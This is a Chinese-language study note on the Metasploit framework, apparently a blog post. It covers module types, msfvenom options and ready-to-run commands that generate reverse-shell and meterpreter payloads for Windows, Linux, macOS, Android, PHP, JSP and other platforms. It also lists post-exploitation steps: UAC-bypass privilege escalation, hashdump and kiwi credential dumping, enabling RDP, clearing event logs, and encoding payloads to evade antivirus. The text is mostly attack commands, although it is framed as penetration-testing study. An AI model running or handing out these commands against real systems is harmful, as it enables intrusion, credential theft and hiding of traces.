草庐IT

msf学习

candada 2023-08-27 原文

msf学习

目录

以kali自带的msf为例

一、msf核心模块与功能

msf模块都放在/usr/share/metasploit-framework/modules目录下

1、auxiliary

辅助模块,辅助渗透(端口扫描、登录密码爆破、漏洞验证等)

2、encoders

编码器模块,主要包含各种编码工具,对payload进行编码加密,以便绕过入侵检测和过滤系统

3、evasion

规避模块,用来生成免杀payload

4、exploits

漏洞利用模块,包含主流的漏洞利用脚本,通常是对某些可能存在漏洞的目标进行漏洞利用

5、nops

这里主要放着调整shellcode前置nop指令长度的工具

6、payloads

攻击载荷,主要是攻击成功后在目标机器执行的代码,比如反弹shell的代码

7、post

后渗透模块,漏洞利用成功获得meterperter之后,向目标发送的一些功能性指令,如:提权等

二、msfvenom

kali中的msfvenom取代了msf中payloads和encoders模块

1、msfvenom 常用参数

-l
列出指定模块的所有可用资源,模块类型包括: payloads, encoders, nops, all

-p
指定需要使用的payload(攻击荷载)。

-f
指定输出格式

Executable formats:Asp、aspx、aspx-exe、axis2、dll、elf、elf-so、exe、exe-only、exe-service、exe-smallhta-psh、jar、jsp、loop-vbs、macho、msi、msi-nouac、osx-app、psh、psh-cmd、psh-net、psh-reflection、python-reflection、vba、vba-exe、vba-psh、vbs、war;

Transform formats:base32、base64、bash、c、csharp、dw、dword、hex、java、js_be、js_le、num、perl、pl、powershell、ps1、py、python、raw、rb、ruby、sh、vbapplication、vbscript;

-e
指定需要使用的encoder(编码器)编码免杀。

-a
指定payload的目标架构

选择架构平台:x86 | x64 | x86_64
Platforms:windows, netware, android, java, ruby, linux, cisco, solaris, osx, bsd, openbsd, bsdi, netbsd, freebsd, aix, hpux, irix, unix, php, javascript, python, nodejs, firefox, mainframe

-o
保存payload文件输出。

-b
设定规避字符集,比如: '\x00\xff'避免使用的字符

-n
为payload预先指定一个NOP滑动长度

-s
设定有效攻击荷载的最大长度生成payload的最大长度,就是文件大小。

-i
指定payload的编码次数

-c
指定一个附加的win32 shellcode文件

-x
指定一个自定义的可执行文件作为模板
例如:原先有个正常文件normal.exe 可以通过这个选项把后门捆绑到这个程序上面。

-k
保护模板程序的动作,注入的payload作为一个新的进程运行
例如:原先有个正常文件normal.exe 可以通过这个选项把后门捆绑到这个程序上面。

-v
指定一个自定义的变量,以确定输出格式

2、各平台生成payload命令

(1)Windows

msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp

LHOST=192.168.3.33 LPORT=4444 -e x86/shikata_ga_nai -b '\x00\x0a\xff' -i 10 -f exe -o payload.exe

(2)Mac

msfvenom -a x86 --platform osx -p osx/x86/shell_reverse_tcp LHOST=192.168.3.33 LPORT=4444 -f macho -o payload.macho

(3)Android

msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4567 -o payload.apk

(4)Powershell

msfvenom -a x86 --platform Windows -p windows/powershell_reverse_tcp LHOST=192.168.1.1 LPORT=8888 -e cmd/powershell_base64 -i 3 -f raw -o payload.ps1

(5)Linux

msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4567 -f elf -o payload.elf

(6)php

msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.1.1 LPORT=8888 -f raw > shell.php

(7)aspx

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=8888 -f aspx -o payload.aspx

(8)JSP

msfvenom --platform java -p java/jsp_shell_reverse_tcp LHOST=192.168.1.1 LPORT=4567 -f raw -o payload.jsp

(9)war

msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.1 LPORT=4567 -f raw - o payload.war

(10)nodejs

msfvenom -p nodejs/shell_reverse_tcp LHOST=192.168.1.1 LPORT=4567 -f raw -o payload.js

(11)python

msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4567 -f raw -o payload.py

(12)perl

msfvenom -p cmd/unix/reverse_perl LHOST=192.168.1.1 LPORT=4567 -f raw -o payload.pl

(13)ruby

msfvenom -p ruby/shell_reverse_tcp LHOST=192.168.1.1 LPORT=4567 -f raw -o payload.rb

(14)lua

msfvenom -p cmd/unix/reverse_lua LHOST=192.168.1.1 LPORT=4567 -f raw -o payload.lua

(15)windows shellcode

msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4567 -f c

(16)linux shellcode

msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4567 -f c

(17)mac shellcode

msfvenom -a x86 --platform osx -p osx/x86/shell_reverse_tcp LHOST=192.168.1.1 LPORT=4567 -f c

三、msf利用流程

1、前期交互

与客户组织交互讨论,确定范围,目标等。

2、情报收集

网站域名注册人、子域名、端口、真实ip、cms等。

3、威胁建模

理清头绪,确定出可行的漏洞方案。

4、漏洞分析

挑选匹配可能存在的漏洞利用模块。

5、渗透利用

找出安全漏洞,尝试利用漏洞入侵系统。

6、后渗透阶段

开始实施相关数据下载,后门维持,提权等操作。

7、报告编写

漏洞利用渗透测试报告。

四、msf后渗透模块

1、基本系统命令

background # 让meterpreter处于后台模式
sessions -i index # 与会话进行交互,index表示第一个session

getuid # 查看权限 
getpid # 获取当前进程的pid
sysinfo # 查看目标机系统信息

ps # 查看当前活跃进程
kill pid # 杀死进程
migrate pid # 将Meterpreter会话移植到进程数位pid的进程中
execute -H -i -f cmd.exe # 创建新进程cmd.exe,-H不可见,-i交互

quit # 退出会话
shell # 获得控制台权限
clearev # 日志清理(需要system权限)
reboot/shutdown   #重启/关机

2、文件操作命令

cat # 查看文件内容
getwd # 查看当前工作目录
upload # 上传文件到目标机上
download # 下载文件到本机上
edit # 编辑文件
search # 搜索文件

3、网络命令

ipconfig / ifconfig # 查看网络接口信息
Portfwd # 端口转发 本机监听端口 把目标机端口转到本机端口上
Rdesktop # 使用rdesktop来连接 -u 用户名 -p 密码
Route # 获取路由表信息

五、后渗透提权

查看当前用户权限:getuid

方法一:

meterpreter中输入getsystem提权

方法二:

使用msf模块提权

1、查看可用模块,msf终端输入search bypassuac

2、选择一个合适当前系统的提权模块

以win10为例:

使用use exploit/windows/local/bypassuac_windows_store_reg 尝试提权

这个不行就换一个模块

六、后渗透获取登录密码

1、抓取自动登录账户密码

run windows/gather/credentials/windows_autologin

2、导出SAM数据库本地账户密码文件

run post/windows/gather/smart_hashdump

3、导出密码哈希

run hashdump

4、使用kiwi模块获取

load kiwi

creds_all:列举所有凭据

七、后渗透远程监控

1、使用rdesktop远程控制(直接在终端执行)

rdesktop常用参数

参数 描述
-u 用户名
-p 密码
-a 16 指使用16位色显示远程桌面
-f 全屏模式(用Ctrl+Alt+Enter组合键退出)
-g 设置分辨率,如:-g 1024x768
-h 帮助

例子:

rdesktop -u 用户名 -p 密码 -f IP地址

如果远程计算机没有启动远程功能,可以在meterpreter中输入

run post/windows/manage/enable_rdp命令开启远程功能

2、通过vnc远程(在meterpreter中执行)

run vnc

八、msf编码免杀

1、杀软是如何检测出恶意代码的?

特征码、启发式恶意软件检查和行为。

2、免杀是做什么?

对特征进行混淆,打乱代码,避免杀毒软件查杀

3、免杀的基本方法有哪些?

自编码处理、自捆绑+编码、多重编码、接口下载式、签名伪装式

有关msf学习的更多相关文章

  1. LC滤波器设计学习笔记(一)滤波电路入门 - 2

    目录前言滤波电路科普主要分类实际情况单位的概念常用评价参数函数型滤波器简单分析滤波电路构成低通滤波器RC低通滤波器RL低通滤波器高通滤波器RC高通滤波器RL高通滤波器部分摘自《LC滤波器设计与制作》,侵权删。前言最近需要学习放大电路和滤波电路,但是由于只在之前做音乐频谱分析仪的时候简单了解过一点点运放,所以也是相当从零开始学习了。滤波电路科普主要分类滤波器:主要是从不同频率的成分中提取出特定频率的信号。有源滤波器:由RC元件与运算放大器组成的滤波器。可滤除某一次或多次谐波,最普通易于采用的无源滤波器结构是将电感与电容串联,可对主要次谐波(3、5、7)构成低阻抗旁路。无源滤波器:无源滤波器,又称

  2. CAN协议的学习与理解 - 2

    最近在学习CAN,记录一下,也供大家参考交流。推荐几个我觉得很好的CAN学习,本文也是在看了他们的好文之后做的笔记首先是瑞萨的CAN入门,真的通透;秀!靠这篇我竟然2天理解了CAN协议!实战STM32F4CAN!原文链接:https://blog.csdn.net/XiaoXiaoPengBo/article/details/116206252CAN详解(小白教程)原文链接:https://blog.csdn.net/xwwwj/article/details/105372234一篇易懂的CAN通讯协议指南1一篇易懂的CAN通讯协议指南1-知乎(zhihu.com)视频推荐CAN总线个人知识总

  3. 深度学习部署:Windows安装pycocotools报错解决方法 - 2

    深度学习部署:Windows安装pycocotools报错解决方法1.pycocotools库的简介2.pycocotools安装的坑3.解决办法更多Ai资讯:公主号AiCharm本系列是作者在跑一些深度学习实例时,遇到的各种各样的问题及解决办法,希望能够帮助到大家。ERROR:Commanderroredoutwithexitstatus1:'D:\Anaconda3\python.exe'-u-c'importsys,setuptools,tokenize;sys.argv[0]='"'"'C:\\Users\\46653\\AppData\\Local\\Temp\\pip-instal

  4. ruby - 我正在学习编程并选择了 Ruby。我应该升级到 Ruby 1.9 吗? - 2

    我完全不是程序员,正在学习使用Ruby和Rails框架进行编程。我目前正在使用Ruby1.8.7和Rails3.0.3,但我想知道我是否应该升级到Ruby1.9,因为我真的没有任何升级的“遗留”成本。缺点是什么?我是否会遇到与普通gem的兼容性问题,或者甚至其他我不太了解甚至无法预料的问题? 最佳答案 你应该升级。不要坚持从1.8.7开始。如果您发现不支持1.9.2的gem,请避免使用它们(因为它们很可能不被维护)。如果您对gem是否兼容1.9.2有任何疑问,您可以在以下位置查看:http://www.railsplugins.or

  5. ruby - 我如何学习 ruby​​ 的正则表达式? - 2

    如何学习ruby​​的正则表达式?(对于假人) 最佳答案 http://www.rubular.com/在Ruby中使用正则表达式时是一个很棒的工具,因为它可以立即将结果可视化。 关于ruby-我如何学习ruby​​的正则表达式?,我们在StackOverflow上找到一个类似的问题: https://stackoverflow.com/questions/1881231/

  6. 深度学习12. CNN经典网络 VGG16 - 2

    深度学习12.CNN经典网络VGG16一、简介1.VGG来源2.VGG分类3.不同模型的参数数量4.3x3卷积核的好处5.关于学习率调度6.批归一化二、VGG16层分析1.层划分2.参数展开过程图解3.参数传递示例4.VGG16各层参数数量三、代码分析1.VGG16模型定义2.训练3.测试一、简介1.VGG来源VGG(VisualGeometryGroup)是一个视觉几何组在2014年提出的深度卷积神经网络架构。VGG在2014年ImageNet图像分类竞赛亚军,定位竞赛冠军;VGG网络采用连续的小卷积核(3x3)和池化层构建深度神经网络,网络深度可以达到16层或19层,其中VGG16和VGG

  7. 机器学习——时间序列ARIMA模型(四):自相关函数ACF和偏自相关函数PACF用于判断ARIMA模型中p、q参数取值 - 2

    文章目录1、自相关函数ACF2、偏自相关函数PACF3、ARIMA(p,d,q)的阶数判断4、代码实现1、引入所需依赖2、数据读取与处理3、一阶差分与绘图4、ACF5、PACF1、自相关函数ACF自相关函数反映了同一序列在不同时序的取值之间的相关性。公式:ACF(k)=ρk=Cov(yt,yt−k)Var(yt)ACF(k)=\rho_{k}=\frac{Cov(y_{t},y_{t-k})}{Var(y_{t})}ACF(k)=ρk​=Var(yt​)Cov(yt​,yt−k​)​其中分子用于求协方差矩阵,分母用于计算样本方差。求出的ACF值为[-1,1]。但对于一个平稳的AR模型,求出其滞

  8. Unity Shader 学习笔记(5)Shader变体、Shader属性定义技巧、自定义材质面板 - 2

    写在之前Shader变体、Shader属性定义技巧、自定义材质面板,这三个知识点任何一个单拿出来都是一套知识体系,不能一概而论,本文章目的在于将学习和实际工作中遇见的问题进行总结,类似于网络笔记之用,方便后续回顾查看,如有以偏概全、不祥不尽之处,还望海涵。1、Shader变体先看一段代码......Properties{ [KeywordEnum(on,off)]USL_USE_COL("IsUseColorMixTex?",int)=0 [Toggle(IS_RED_ON)]_IsRed("IsRed?",int)=0}......//中间省略,后续会有完整代码 #pragmamulti_c

  9. ruby-on-rails - 这个 C 和 PHP 程序员如何学习 Ruby 和 Rails? - 2

    按照目前的情况,这个问题不适合我们的问答形式。我们希望答案得到事实、引用或专业知识的支持,但这个问题可能会引发辩论、争论、投票或扩展讨论。如果您觉得这个问题可以改进并可能重新打开,visitthehelpcenter指导。关闭9年前。我来自C、php和bash背景,很容易学习,因为它们都有相同的C结构,我可以将其与我已经知道的联系起来。然后2年前我学了Python并且学得很好,Python对我来说比Ruby更容易学。然后从去年开始,我一直在尝试学习Ruby,然后是Rails,我承认,直到现在我还是学不会,讽刺的是那些打着简单易学的烙印,但是对于我这样一个老练的程序员来说,我只是无法将它

  10. jquery - 使用 Rails 3 学习 Ajax 的资源 - 2

    按照目前的情况,这个问题不适合我们的问答形式。我们希望答案得到事实、引用或专业知识的支持,但这个问题可能会引发辩论、争论、投票或扩展讨论。如果您觉得这个问题可以改进并可能重新打开,visitthehelpcenter指导。关闭10年前。有没有学习Ajax(jQuery)和Rails3的好资源?

随机推荐